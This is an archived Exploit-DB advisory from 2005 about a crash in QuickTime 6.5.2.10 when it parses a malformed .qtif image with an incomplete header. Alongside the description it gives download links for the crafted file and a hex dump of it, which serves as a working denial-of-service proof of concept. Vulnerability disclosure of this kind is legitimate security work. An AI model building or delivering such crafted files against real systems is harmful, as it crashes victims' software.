QuickTime qtif Image File Parsing Remote Crash

vendor:

QuickTime

by:

ATmaCA

N/A

CVSS

HIGH

Remote Crash

119

CWE

Product Name: QuickTime

Affected Version From: 6.5.2.10

Affected Version To: 6.5.2.10

Patch Exists: NO

Related CWE:

CPE: a:apple:quicktime

Metasploit:

Other Scripts:

Platforms Tested:

2005

QuickTime qtif Image File Parsing Remote Crash

The vulnerability exists in QuickTime.qts component parsing (.qtif) image files that contain an uncompleted header. A remote user can create a file that, when processed by QuickTime PictureViewer or via a browser, can cause the remote system to crash.

Mitigation:

No vendor response available.

Source

Exploit-DB raw data:

# Added qtif on milw0rm's sploits archive/ /str0ke #

Application: QuickTime
            http://www.apple.com/quicktime/

AFFECTED VERSION:
Versions verified to be vulnerable:
QuickTime.qts (6.5.2.10) and prior versions are affected.

The bug:
The problem specifically exists when QuickTime.qts component parsing
(.qtif) image files that contain uncompleted header.
A remote user can create a file that when processed by QuickTime PictureViewer or via browser,
will can cause the remote system to crash.

--Uncompleted qtif image file header
http://www.atmacasoft.com/exp/vuln.qtif.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/770.qtif (vuln.qtif)

00000000 0000 005E 6964 7363 0000 0056 6A70 6567 0000 0000 0000 0000 0000 0000 ...^idsc...Vjpeg............
0000001C 6170 706C 0000 0000 0000 0200 0100 016D 0048 0000 0048 0000 0000 724D appl...........m.H...H....rM
00000038 0001 0C50 686F 746F 202D 204A 5045 4700 0000 0000 0000 0000 0000 0000 ...Photo - JPEG.............
00000054 0000 0000 0000 0018 FFFF 0000 7255 6964 6174 FFD8 FFE0 0010           ............rUidat......

VENDOR RESPONSE:
No vendor response.

Discoveried By ATmaCA
AtmacaSoft Inc.
http://www.atmacasoft.com

# milw0rm.com [2005-01-24]